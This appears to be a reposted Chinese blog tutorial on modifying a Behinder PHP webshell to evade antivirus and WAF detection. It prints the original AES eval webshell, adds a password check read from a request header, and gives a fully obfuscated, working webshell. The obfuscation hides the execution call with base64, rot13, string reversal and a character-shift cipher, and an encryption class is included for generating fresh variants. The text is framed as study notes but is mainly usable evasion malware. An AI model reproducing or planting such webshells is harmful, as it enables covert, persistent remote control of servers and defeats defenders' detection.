返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >改造冰蝎马,实现免杀之default_aes php
  • 247
分享到

改造冰蝎马,实现免杀之default_aes php

php安全web安全webshell免杀 2023-09-01 12:09:07 247人浏览 安东尼
摘要

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记 文章目录 文章目录 文章目录前文链接前言效果目标密码验证功能免杀后话 前文链接 WAMP/DVWA/sqli-labs 搭

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

文章目录

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透

前言

之前发的免杀文章有人说失效了。确实失效了。shellcode的免杀失效了,WEBshell的免杀被杀了。按理说我应该把之前的文章删掉。但是我不仅没有删,还开了一个专栏叫免杀。因为免杀这种东西,就是提供一个思路。你顺着这个思路,自己对你的shellcode或者webshell进行改造。然后不要发到网上去。发到网上去就会被waf的爬虫找到,然后你的免杀就失效了。我在写之前的文章就料到有这样一天。免杀还是靠自己的编程基础来实现,网上的就是提供一个思路,这篇文章中提供的webshell也可能很快就会失效,和waf作战本就是艰苦卓绝。只有举一反三,求本逐妙,才能在与waf的战斗中得胜。

最近喜欢用冰蝎,因为它比较强。但是免杀效果不太行。本文以PHP webshell的default_aes编码器为例,实现密码验证和免杀实现。

效果

先看下原本的webshell

php@error_reporting(0);function Decrypt($data){$key="e45e329feb5d925b"; //¸ÃÃÜԿΪÁ¬½ÓÃÜÂë32λmd5ÖµµÄÇ°16λ£¬Ä¬ÈÏÁ¬½ÓÃÜÂërebeyondreturn openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);}$post=Decrypt(file_get_contents("php://input"));    eval($post);?>

WEBDIR
在这里插入图片描述
D盾
在这里插入图片描述

再看下免杀之后的马子
D盾
在这里插入图片描述
WEBDIR
在这里插入图片描述
可见免杀效果是非常的好

目标

两个目标

1. 实现密码验证功能
2. 实现免杀

密码验证功能

直接生成的马子,是没有密码验证功能的,用冰蝎连接的时候输链接就可以了
在这里插入图片描述
也是非常的捞。

但是我们可以指定请求头,这样我们就可以从请求头下手。

首先查看源代码
在这里插入图片描述
先定义了一个函数,接着获取请求内容,解密,接着直接eval执行。

可以蒙到核心代码是这两行
在这里插入图片描述
只要再这两行代码前加上密码验证的语句就ok了。

例如,我要验证请求头中Pass的内容是否为password

先获取请求头中是否存在Pass段,若存在则进入验证。
改造之后是这样

$b=0;if (array_key_exists('Pass',apache_request_headers())) {    $b=apache_request_headers()['Pass']==='passWord';}if ($b) {    $post = Decrypt(file_get_contents("php://input"));    eval($post);}

当然也可以自己修改,注意大小写,Pass第一位必须大写,否则识别不了。

这样修改之后,在连接时要在请求头处设置内容。
在这里插入图片描述
当然也可以自行修改你的密码。

免杀

先把免杀后的webshell贴出来。

 error_reporting(0);function d($a){    return openssl_decrypt(base64_decode($a), base64_decode(strrev(str_rot13('=V0DS1PBlRGYGIHD'))), base64_decode(str_rot13('MGD1MGZlBJ') . strrev('==gY1ITOkVjYlZ')), OPENSSL_PKCS1_PADDING);}function p($k){    $s = 0;    foreach (str_split($k) as $a) {        foreach (str_split(ord($a) . "") as $b) {            $s += $b;        }    }    while (10 > $s && $s < 100) {        if (10 < $s) $s = $s * 2; else $s = $s / 3;    }    return $s;}function a($b){    $r = "";    foreach (str_split(base64_decode($b)) as $s) {        $r .= chr(ord($s) - p("dvcqazjiomk"));    }    return $r;}$p = d('IHwa8t2BcjZISwq2jfqEHw==');$f = 0;if (array_key_exists('Pass', apache_request_headers())) $f = apache_request_headers()['Pass'] === $p;if ($f) $c = a('vMu+us2+uL/Ox7zNwsjH')("", a('vs+6xYG9gb/Cxb64wL7NuLzIx82+x83Mgb2Be5GywMKqx4zTs6C7s8TFqNGIrsSIitCWlnuCGoKClA=='));$c(); ?>

使用时请指定请求头为:Pass:password

写到这里突然不想写了,大概讲一下。

d()函数是aes解密函数,里面的字符串我做了一点小小的处理。

p()函数是辅助函数,传入一个字符串会返回一个10到100之间的整数。

a()函数是解密函数,把加密后的代码进行解密。里面的kiocpmg是密钥。可以自己改。

简单来说就是把里面的字符串加密了,然后混淆视听,让waf认不出来。

把加密算法也贴一下吧,密钥改一下就可以让代码改头换面了。反正核心还是一样。

class Cipher{    public static $key = 'abcdefg';    function parse($key)    {        $s = 0;        foreach (str_split($key) as $a) {            foreach (str_split(ord($a) . "") as $b) {                $s += $b;            }        }        while (10 > $s && $s < 100) {            if (10 < $s) $s = $s * 2;            else $s = $s / 3;        }        return $s;    }    function en($data)    {        $res = "";        foreach (str_split($data) as $s) {            $res .= chr(ord($s) + self::parse(self::$key));        }        return base64_encode($res);    }    function de($data)    {        $res = "";        $data = base64_decode($data);        foreach (str_split($data) as $s) {            $res .= chr(ord($s) - self::parse(self::$key));        }        return $res;    }}

后话

还是那句话,网上的免杀就是看个热闹,真要免杀还是要自己动手。

来源地址:https://blog.csdn.net/realmels/article/details/128354530

--结束END--

本文标题: 改造冰蝎马,实现免杀之default_aes php

本文链接: https://lsjlt.com/news/388405.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作